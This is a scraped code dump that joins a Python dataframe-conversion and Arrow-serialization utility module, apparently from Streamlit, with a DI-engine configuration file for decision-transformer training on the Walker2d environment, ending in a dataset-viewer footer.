def is_namedtuple(x: object) -> TypeGuard[NamedTuple]:
t = type(x)
b = t.__bases__
if len(b) != 1 or b[0] != tuple:
return False
f = getattr(t, "_fields", None)
if not isinstance(f, tuple):
return False
return all(type(n).__name__ == "str" for n in f)
def is_pandas_styler(obj: object) -> TypeGuard[Styler]:
return is_type(obj, _PANDAS_STYLER_TYPE_STR)
def is_pydeck(obj: object) -> TypeGuard[Deck]:
"""True if input looks like a pydeck chart."""
return is_type(obj, "pydeck.bindings.deck.Deck")
def is_iterable(obj: object) -> TypeGuard[Iterable[Any]]:
try:
# The ignore statement here is intentional, as this is a
# perfectly fine way of checking for iterables.
iter(obj) # type: ignore[call-overload]
except TypeError:
return False
return True
def is_sequence(seq: Any) -> bool:
"""True if input looks like a sequence."""
if isinstance(seq, str):
return False
try:
len(seq)
except Exception:
return False
return True
def convert_anything_to_df(
data: Any,
max_unevaluated_rows: int = MAX_UNEVALUATED_DF_ROWS,
ensure_copy: bool = False,
) -> DataFrame:
"""Try to convert different formats to a Pandas Dataframe.
Parameters
----------
data : ndarray, Iterable, dict, DataFrame, Styler, pa.Table, None, dict, list, or any
max_unevaluated_rows: int
If unevaluated data is detected this func will evaluate it,
taking max_unevaluated_rows, defaults to 10k and 100 for st.table
ensure_copy: bool
If True, make sure to always return a copy of the data. If False, it depends on the
type of the data. For example, a Pandas DataFrame will be returned as-is.
Returns
-------
pandas.DataFrame
"""
# This is inefficient as the data will be converted back to Arrow
# when marshalled to protobuf, but area/bar/line charts need
# DataFrame magic to generate the correct output.
if isinstance(data, pa.Table):
return data.to_pandas()
if is_type(data, _PANDAS_DF_TYPE_STR):
return data.copy() if ensure_copy else data
if is_pandas_styler(data):
return data.data.copy() if ensure_copy else data.data
if is_type(data, "numpy.ndarray"):
if len(data.shape) == 0:
return DataFrame([])
return DataFrame(data)
if (
is_type(data, _SNOWPARK_DF_TYPE_STR)
or is_type(data, _SNOWPARK_TABLE_TYPE_STR)
or is_type(data, _PYSPARK_DF_TYPE_STR)
):
if is_type(data, _PYSPARK_DF_TYPE_STR):
data = data.limit(max_unevaluated_rows).toPandas()
else:
data = DataFrame(data.take(max_unevaluated_rows))
if data.shape[0] == max_unevaluated_rows:
st.caption(
f"⚠️ Showing only {string_util.simplify_number(max_unevaluated_rows)} rows. "
"Call `collect()` on the dataframe to show more."
)
return data
# Try to convert to pandas.DataFrame. This will raise an error is df is not
# compatible with the pandas.DataFrame constructor.
try:
return DataFrame(data)
except ValueError as ex:
if isinstance(data, dict):
with contextlib.suppress(ValueError):
# Try to use index orient as back-up to support key-value dicts
return DataFrame.from_dict(data, orient="index")
raise errors.StreamlitAPIException(
f"""
Unable to convert object of type `{type(data)}` to `pandas.DataFrame`.
Offending object:
```py
{data}
```"""
) from ex
@overload
def ensure_iterable(obj: Iterable[V_co]) -> Iterable[V_co]:
...
@overload
def ensure_iterable(obj: DataFrame) -> Iterable[Any]:
...
def ensure_iterable(obj: Union[DataFrame, Iterable[V_co]]) -> Iterable[Any]:
"""Try to convert different formats to something iterable. Most inputs
are assumed to be iterable, but if we have a DataFrame, we can just
select the first column to iterate over. If the input is not iterable,
a TypeError is raised.
Parameters
----------
obj : list, tuple, numpy.ndarray, pandas.Series, pandas.DataFrame, pyspark.sql.DataFrame, snowflake.snowpark.dataframe.DataFrame or snowflake.snowpark.table.Table
Returns
-------
iterable
"""
if is_snowpark_or_pyspark_data_object(obj):
obj = convert_anything_to_df(obj)
if is_dataframe(obj):
# Return first column as a pd.Series
# The type of the elements in this column is not known up front, hence
# the Iterable[Any] return type.
return cast(Iterable[Any], obj.iloc[:, 0])
if is_iterable(obj):
return obj
raise TypeError(
f"Object is not an iterable and could not be converted to one. Object: {obj}"
)
def ensure_indexable(obj: OptionSequence[V_co]) -> Sequence[V_co]:
"""Try to ensure a value is an indexable Sequence. If the collection already
is one, it has the index method that we need. Otherwise, convert it to a list.
"""
it = ensure_iterable(obj)
# This is an imperfect check because there is no guarantee that an `index`
# function actually does the thing we want.
index_fn = getattr(it, "index", None)
if callable(index_fn):
return it # type: ignore[return-value]
else:
return list(it)
def is_pandas_version_less_than(v: str) -> bool:
"""Return True if the current Pandas version is less than the input version.
Parameters
----------
v : str
Version string, e.g. "0.25.0"
Returns
-------
bool
"""
import pandas as pd
from packaging import version
return version.parse(pd.__version__) < version.parse(v)
def pyarrow_table_to_bytes(table: pa.Table) -> bytes:
"""Serialize pyarrow.Table to bytes using Apache Arrow.
Parameters
----------
table : pyarrow.Table
A table to convert.
"""
sink = pa.BufferOutputStream()
writer = pa.RecordBatchStreamWriter(sink, table.schema)
writer.write_table(table)
writer.close()
return cast(bytes, sink.getvalue().to_pybytes())
def is_colum_type_arrow_incompatible(column: Union[Series, Index]) -> bool:
"""Return True if the column type is known to cause issues during Arrow conversion."""
if column.dtype in [
# timedelta64[ns] is supported by pyarrow but not in the Arrow JS:
# https://github.com/streamlit/streamlit/issues/4489
"timedelta64[ns]",
"complex64",
"complex128",
"complex256",
]:
return True
if column.dtype == "object":
# The dtype of mixed type columns is always object, the actual type of the column
# values can be determined via the infer_dtype function:
# https://pandas.pydata.org/docs/reference/api/pandas.api.types.infer_dtype.html
inferred_type = infer_dtype(column, skipna=True)
if inferred_type in [
"mixed-integer",
"complex",
"timedelta",
"timedelta64",
]:
return True
elif inferred_type == "mixed":
# This includes most of the more complex/custom types (objects, dicts, lists, ...)
if len(column) == 0 or not hasattr(column, "iloc"):
# The column seems to be invalid, so we assume it is incompatible.
# But this would most likely never happen since empty columns
# cannot be mixed.
return True
# Get the first value to check if it is a supported list-like type.
first_value = column.iloc[0]
if (
not is_list_like(first_value)
# dicts are list-like, but have issues in Arrow JS (see comments in Quiver.ts)
or is_dict_like(first_value)
# Frozensets are list-like, but are not compatible with pyarrow.
or isinstance(first_value, frozenset)
):
# This seems to be an incompatible list-like type
return True
return False
# We did not detect an incompatible type, so we assume it is compatible:
return False
def fix_arrow_incompatible_column_types(
df: DataFrame, selected_columns: Optional[List[str]] = None
) -> DataFrame:
"""Fix column types that are not supported by Arrow table.
This includes mixed types (e.g. mix of integers and strings)
as well as complex numbers (complex128 type). These types will cause
errors during conversion of the dataframe to an Arrow table.
It is fixed by converting all values of the column to strings
This is sufficient for displaying the data on the frontend.
Parameters
----------
df : pandas.DataFrame
A dataframe to fix.
selected_columns: Optional[List[str]]
A list of columns to fix. If None, all columns are evaluated.
Returns
-------
The fixed dataframe.
"""
# Make a copy, but only initialize if necessary to preserve memory.
df_copy = None
for col in selected_columns or df.columns:
if is_colum_type_arrow_incompatible(df[col]):
if df_copy is None:
df_copy = df.copy()
df_copy[col] = df[col].astype(str)
# The index can also contain mixed types
# causing Arrow issues during conversion.
# Skipping multi-indices since they won't return
# the correct value from infer_dtype
if not selected_columns and (
not isinstance(
df.index,
MultiIndex,
)
and is_colum_type_arrow_incompatible(df.index)
):
if df_copy is None:
df_copy = df.copy()
df_copy.index = df.index.astype(str)
return df_copy if df_copy is not None else df
def data_frame_to_bytes(df: DataFrame) -> bytes:
"""Serialize pandas.DataFrame to bytes using Apache Arrow.
Parameters
----------
df : pandas.DataFrame
A dataframe to convert.
"""
try:
table = pa.Table.from_pandas(df)
except (pa.ArrowTypeError, pa.ArrowInvalid, pa.ArrowNotImplementedError) as ex:
_LOGGER.info(
"Applying automatic fixes for column types to make the dataframe Arrow-compatible.",
exc_info=ex,
)
df = fix_arrow_incompatible_column_types(df)
table = pa.Table.from_pandas(df)
return pyarrow_table_to_bytes(table)
def bytes_to_data_frame(source: bytes) -> DataFrame:
"""Convert bytes to pandas.DataFrame.
Parameters
----------
source : bytes
A bytes object to convert.
"""
reader = pa.RecordBatchStreamReader(source)
return reader.read_pandas()
def determine_data_format(input_data: Any) -> DataFormat:
"""Determine the data format of the input data.
Parameters
----------
input_data : Any
The input data to determine the data format of.
Returns
-------
DataFormat
The data format of the input data.
"""
if input_data is None:
return DataFormat.EMPTY
elif isinstance(input_data, DataFrame):
return DataFormat.PANDAS_DATAFRAME
elif isinstance(input_data, np.ndarray):
if len(input_data.shape) == 1:
# For technical reasons, we need to distinguish one
# one-dimensional numpy array from multidimensional ones.
return DataFormat.NUMPY_LIST
return DataFormat.NUMPY_MATRIX
elif isinstance(input_data, pa.Table):
return DataFormat.PYARROW_TABLE
elif isinstance(input_data, Series):
return DataFormat.PANDAS_SERIES
elif isinstance(input_data, Index):
return DataFormat.PANDAS_INDEX
elif is_pandas_styler(input_data):
return DataFormat.PANDAS_STYLER
elif is_snowpark_data_object(input_data):
return DataFormat.SNOWPARK_OBJECT
elif is_pyspark_data_object(input_data):
return DataFormat.PYSPARK_OBJECT
elif isinstance(input_data, (list, tuple, set)):
if is_list_of_scalars(input_data):
# -> one-dimensional data structure
if isinstance(input_data, tuple):
return DataFormat.TUPLE_OF_VALUES
if isinstance(input_data, set):
return DataFormat.SET_OF_VALUES
return DataFormat.LIST_OF_VALUES
else:
# -> Multi-dimensional data structure
# This should always contain at least one element,
# otherwise the values type from infer_dtype would have been empty
first_element = next(iter(input_data))
if isinstance(first_element, dict):
return DataFormat.LIST_OF_RECORDS
if isinstance(first_element, (list, tuple, set)):
return DataFormat.LIST_OF_ROWS
elif isinstance(input_data, dict):
if not input_data:
return DataFormat.KEY_VALUE_DICT
if len(input_data) > 0:
first_value = next(iter(input_data.values()))
if isinstance(first_value, dict):
return DataFormat.COLUMN_INDEX_MAPPING
if isinstance(first_value, (list, tuple)):
return DataFormat.COLUMN_VALUE_MAPPING
if isinstance(first_value, Series):
return DataFormat.COLUMN_SERIES_MAPPING
# In the future, we could potentially also support the tight & split formats here
if is_list_of_scalars(input_data.values()):
# Only use the key-value dict format if the values are only scalar values
return DataFormat.KEY_VALUE_DICT
return DataFormat.UNKNOWN
def convert_df_to_data_format(
df: DataFrame, data_format: DataFormat
) -> Union[
DataFrame,
Series,
Index,
Styler,
pa.Table,
np.ndarray[Any, np.dtype[Any]],
Tuple[Any],
List[Any],
Set[Any],
Dict[str, Any],
]:
"""Convert a dataframe to the specified data format.
Parameters
----------
df : pd.DataFrame
The dataframe to convert.
data_format : DataFormat
The data format to convert to.
Returns
-------
pd.DataFrame, pd.Index, Styler, pa.Table, np.ndarray, tuple, list, set, dict
The converted dataframe.
"""
if data_format in [
DataFormat.EMPTY,
DataFormat.PANDAS_DATAFRAME,
DataFormat.SNOWPARK_OBJECT,
DataFormat.PYSPARK_OBJECT,
DataFormat.PANDAS_INDEX,
DataFormat.PANDAS_STYLER,
]:
return df
elif data_format == DataFormat.NUMPY_LIST:
# It's a 1-dimensional array, so we only return
# the first column as numpy array
# Calling to_numpy() on the full DataFrame would result in:
# [[1], [2]] instead of [1, 2]
return np.ndarray(0) if df.empty else df.iloc[:, 0].to_numpy()
elif data_format == DataFormat.NUMPY_MATRIX:
return np.ndarray(0) if df.empty else df.to_numpy()
elif data_format == DataFormat.PYARROW_TABLE:
return pa.Table.from_pandas(df)
elif data_format == DataFormat.PANDAS_SERIES:
# Select first column in dataframe and create a new series based on the values
if len(df.columns) != 1:
raise ValueError(
f"DataFrame is expected to have a single column but has {len(df.columns)}."
)
return df[df.columns[0]]
elif data_format == DataFormat.LIST_OF_RECORDS:
return df.to_dict(orient="records")
elif data_format == DataFormat.LIST_OF_ROWS:
# to_numpy converts the dataframe to a list of rows
return df.to_numpy().tolist()
elif data_format == DataFormat.COLUMN_INDEX_MAPPING:
return df.to_dict(orient="dict")
elif data_format == DataFormat.COLUMN_VALUE_MAPPING:
return df.to_dict(orient="list")
elif data_format == DataFormat.COLUMN_SERIES_MAPPING:
return df.to_dict(orient="series")
elif data_format in [
DataFormat.LIST_OF_VALUES,
DataFormat.TUPLE_OF_VALUES,
DataFormat.SET_OF_VALUES,
]:
return_list = []
if len(df.columns) == 1:
# Get the first column and convert to list
return_list = df[df.columns[0]].tolist()
elif len(df.columns) >= 1:
raise ValueError(
f"DataFrame is expected to have a single column but has {len(df.columns)}."
)
if data_format == DataFormat.TUPLE_OF_VALUES:
return tuple(return_list)
if data_format == DataFormat.SET_OF_VALUES:
return set(return_list)
return return_list
elif data_format == DataFormat.KEY_VALUE_DICT:
# The key is expected to be the index -> this will return the first column
# as a dict with index as key.
return dict() if df.empty else df.iloc[:, 0].to_dict()
raise ValueError(f"Unsupported input data format: {data_format}")
@overload
def to_key(key: None) -> None:
...
@overload
def to_key(key: Key) -> str:
...
def to_key(key: Optional[Key]) -> Optional[str]:
if key is None:
return None
else:
return str(key)
def maybe_raise_label_warnings(label: Optional[str], label_visibility: Optional[str]):
if not label:
_LOGGER.warning(
"`label` got an empty value. This is discouraged for accessibility "
"reasons and may be disallowed in the future by raising an exception. "
"Please provide a non-empty label and hide it with label_visibility "
"if needed."
)
if label_visibility not in ("visible", "hidden", "collapsed"):
raise errors.StreamlitAPIException(
f"Unsupported label_visibility option '{label_visibility}'. "
f"Valid values are 'visible', 'hidden' or 'collapsed'."
)
|
PypiClean
|
/DI_engine-0.4.9-py3-none-any.whl/dizoo/d4rl/config/walker2d_random_dt_config.py
|
from easydict import EasyDict
from copy import deepcopy
walker2d_dt_config = dict(
exp_name='walker2d_random_dt_seed0',
env=dict(
env_id='Walker2d-v3',
norm_obs=dict(use_norm=False, ),
norm_reward=dict(use_norm=False, ),
collector_env_num=1,
evaluator_env_num=8,
use_act_scale=True,
n_evaluator_episode=8,
stop_value=6000,
),
policy=dict(
stop_value=6000,
cuda=True,
env_name='Walker2d-v3',
rtg_target=6000, # max target return to go
max_eval_ep_len=1000, # max lenght of one episode
num_eval_ep=10, # num of evaluation episode
batch_size=64,
wt_decay=1e-4,
warmup_steps=10000,
num_updates_per_iter=100,
context_len=20,
n_blocks=3,
embed_dim=128,
n_heads=1,
dropout_p=0.1,
log_dir='/home/wangzilin/research/dt/DI-engine/dizoo/d4rl/dt_data/walker2d_random_dt_log',
model=dict(
state_dim=17,
act_dim=6,
n_blocks=3,
h_dim=128,
context_len=20,
n_heads=1,
drop_p=0.1,
continuous=True,
),
discount_factor=0.999,
nstep=3,
learn=dict(
dataset_path='/mnt/lustre/wangzilin/d4rl_data/walker2d-random-v2.pkl',
learning_rate=0.0001,
target_update_freq=100,
kappa=1.0,
min_q_weight=4.0
),
collect=dict(unroll_len=1, ),
eval=dict(evaluator=dict(evalu_freq=100, ), ),
other=dict(
eps=dict(
type='exp',
start=0.95,
end=0.1,
decay=10000,
),
replay_buffer=dict(replay_buffer_size=1000, ),
),
),
)
walker2d_dt_config = EasyDict(walker2d_dt_config)
main_config = walker2d_dt_config
walker2d_dt_create_config = dict(
env=dict(
type='mujoco',
import_names=['dizoo.mujoco.envs.mujoco_env'],
),
env_manager=dict(type='subprocess'),
policy=dict(type='dt'),
)
walker2d_dt_create_config = EasyDict(walker2d_dt_create_config)
create_config = walker2d_dt_create_config
if __name__ == "__main__":
from ding.entry import serial_pipeline_dt
config = deepcopy([main_config, create_config])
serial_pipeline_dt(config, seed=0, max_train_iter=1000)
|
PypiClean
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.